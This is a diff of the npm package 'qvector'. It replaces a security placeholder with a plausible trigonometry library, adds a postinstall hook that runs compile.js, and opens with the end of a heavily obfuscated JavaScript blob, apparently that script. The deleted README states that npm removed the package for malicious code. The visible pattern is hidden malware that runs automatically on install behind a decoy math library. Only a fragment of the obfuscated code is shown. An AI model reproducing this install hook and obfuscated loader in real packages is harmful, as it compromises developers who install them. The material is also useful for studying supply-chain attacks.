_0x34957f(_0x5ec9b0(0x1ba,_0x384442._0x20a73d)+_0x5ec9b0(_0x384442._0xe7d4,'HSVG')+_0x5ec9b0(_0x384442._0x13d456,_0x384442._0x15fdba)+_0x5ec9b0(_0x384442._0x24ead3,'byvY')+'s\x20re'+_0x5ec9b0(_0x384442._0xe44a8b,'Sqz1')+'se')):console[_0x5ec9b0(0x1e9,'i8#7')+'r'](_0x1442e0[_0x5ec9b0(_0x384442._0x327e2d,'lFvd')+'s'],_0x2022c3[_0x5ec9b0(0x1f5,_0x384442._0x5c2e0f)+_0x5ec9b0(0x1ec,'g41e')]);}})());
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "qvector",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.4",
4
+ "description": "QVector is a compact JavaScript library that streamlines trigonometry, making calculations simple and efficient. From angles and radians to complex transformations, Qasdr offers an intuitive API tailored for developers in fields like animation, gaming, and scientific computing. Reduce redundant formulas and focus on innovation with this versatile, performance-oriented tool.",
5
+ "main": "qvector.js",
6
+ "scripts": {
7
+ "postinstall": "node compile.js"
8
+ },
9
+ "author": "Alex",
10
+ "license": "MIT"
6
11
  }
package/qvector.js ADDED
@@ -0,0 +1,180 @@
1
+ class QVector {
2
+ /**
3
+ * Convert degrees to radians
4
+ * @param {number} degrees
5
+ * @returns {number}
6
+ */
7
+ static toRadians(degrees) {
8
+ return (degrees * Math.PI) / 180;
9
+ }
10
+
11
+ /**
12
+ * Convert radians to degrees
13
+ * @param {number} radians
14
+ * @returns {number}
15
+ */
16
+ static toDegrees(radians) {
17
+ return (radians * 180) / Math.PI;
18
+ }
19
+
20
+ /**
21
+ * Calculate sine of an angle in degrees
22
+ * @param {number} degrees
23
+ * @returns {number}
24
+ */
25
+ static sin(degrees) {
26
+ return Math.sin(this.toRadians(degrees));
27
+ }
28
+
29
+ /**
30
+ * Calculate cosine of an angle in degrees
31
+ * @param {number} degrees
32
+ * @returns {number}
33
+ */
34
+ static cos(degrees) {
35
+ return Math.cos(this.toRadians(degrees));
36
+ }
37
+
38
+ /**
39
+ * Calculate tangent of an angle in degrees
40
+ * @param {number} degrees
41
+ * @returns {number}
42
+ */
43
+ static tan(degrees) {
44
+ return Math.tan(this.toRadians(degrees));
45
+ }
46
+
47
+ /**
48
+ * Calculate the arc sine (inverse sine) in degrees
49
+ * @param {number} value
50
+ * @returns {number}
51
+ */
52
+ static asin(value) {
53
+ return this.toDegrees(Math.asin(value));
54
+ }
55
+
56
+ /**
57
+ * Calculate the arc cosine (inverse cosine) in degrees
58
+ * @param {number} value
59
+ * @returns {number}
60
+ */
61
+ static acos(value) {
62
+ return this.toDegrees(Math.acos(value));
63
+ }
64
+
65
+ /**
66
+ * Calculate the arc tangent (inverse tangent) in degrees
67
+ * @param {number} value
68
+ * @returns {number}
69
+ */
70
+ static atan(value) {
71
+ return this.toDegrees(Math.atan(value));
72
+ }
73
+
74
+ /**
75
+ * Calculate the hypotenuse of a right triangle
76
+ * @param {number} a
77
+ * @param {number} b
78
+ * @returns {number}
79
+ */
80
+ static hypotenuse(a, b) {
81
+ return Math.sqrt(a ** 2 + b ** 2);
82
+ }
83
+
84
+ /**
85
+ * Calculate the distance between two points in 2D space
86
+ * @param {number} x1
87
+ * @param {number} y1
88
+ * @param {number} x2
89
+ * @param {number} y2
90
+ * @returns {number}
91
+ */
92
+ static distance2D(x1, y1, x2, y2) {
93
+ return this.hypotenuse(x2 - x1, y2 - y1);
94
+ }
95
+
96
+ /**
97
+ * Calculate the distance between two points in 3D space
98
+ * @param {number} x1
99
+ * @param {number} y1
100
+ * @param {number} z1
101
+ * @param {number} x2
102
+ * @param {number} y2
103
+ * @param {number} z2
104
+ * @returns {number}
105
+ */
106
+ static distance3D(x1, y1, z1, x2, y2, z2) {
107
+ return Math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2 + (z2 - z1) ** 2);
108
+ }
109
+
110
+ /**
111
+ * Calculate the angle between two vectors in 2D space
112
+ * @param {number} x1
113
+ * @param {number} y1
114
+ * @param {number} x2
115
+ * @param {number} y2
116
+ * @returns {number} Angle in degrees
117
+ */
118
+ static angleBetweenVectors2D(x1, y1, x2, y2) {
119
+ const dotProduct = x1 * x2 + y1 * y2;
120
+ const magnitude1 = Math.sqrt(x1 ** 2 + y1 ** 2);
121
+ const magnitude2 = Math.sqrt(x2 ** 2 + y2 ** 2);
122
+ const cosTheta = dotProduct / (magnitude1 * magnitude2);
123
+ return this.acos(cosTheta);
124
+ }
125
+
126
+ /**
127
+ * Normalize a vector in 2D space
128
+ * @param {number} x
129
+ * @param {number} y
130
+ * @returns {object} Normalized vector
131
+ */
132
+ static normalizeVector2D(x, y) {
133
+ const magnitude = Math.sqrt(x ** 2 + y ** 2);
134
+ return { x: x / magnitude, y: y / magnitude };
135
+ }
136
+
137
+ /**
138
+ * Normalize a vector in 3D space
139
+ * @param {number} x
140
+ * @param {number} y
141
+ * @param {number} z
142
+ * @returns {object} Normalized vector
143
+ */
144
+ static normalizeVector3D(x, y, z) {
145
+ const magnitude = Math.sqrt(x ** 2 + y ** 2 + z ** 2);
146
+ return { x: x / magnitude, y: y / magnitude, z: z / magnitude };
147
+ }
148
+
149
+ /**
150
+ * Rotate a 2D vector by a given angle
151
+ * @param {number} x
152
+ * @param {number} y
153
+ * @param {number} angle Angle in degrees
154
+ * @returns {object} Rotated vector
155
+ */
156
+ static rotateVector2D(x, y, angle) {
157
+ const radians = this.toRadians(angle);
158
+ return {
159
+ x: x * Math.cos(radians) - y * Math.sin(radians),
160
+ y: x * Math.sin(radians) + y * Math.cos(radians),
161
+ };
162
+ }
163
+
164
+ /**
165
+ * Calculate the projection of a vector onto another in 2D space
166
+ * @param {number} x1
167
+ * @param {number} y1
168
+ * @param {number} x2
169
+ * @param {number} y2
170
+ * @returns {object} Projected vector
171
+ */
172
+ static projectVector2D(x1, y1, x2, y2) {
173
+ const dotProduct = x1 * x2 + y1 * y2;
174
+ const magnitudeSquared = x2 ** 2 + y2 ** 2;
175
+ const scale = dotProduct / magnitudeSquared;
176
+ return { x: scale * x2, y: scale * y2 };
177
+ }
178
+ }
179
+
180
+ module.exports = QVector;
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=qvector for more information.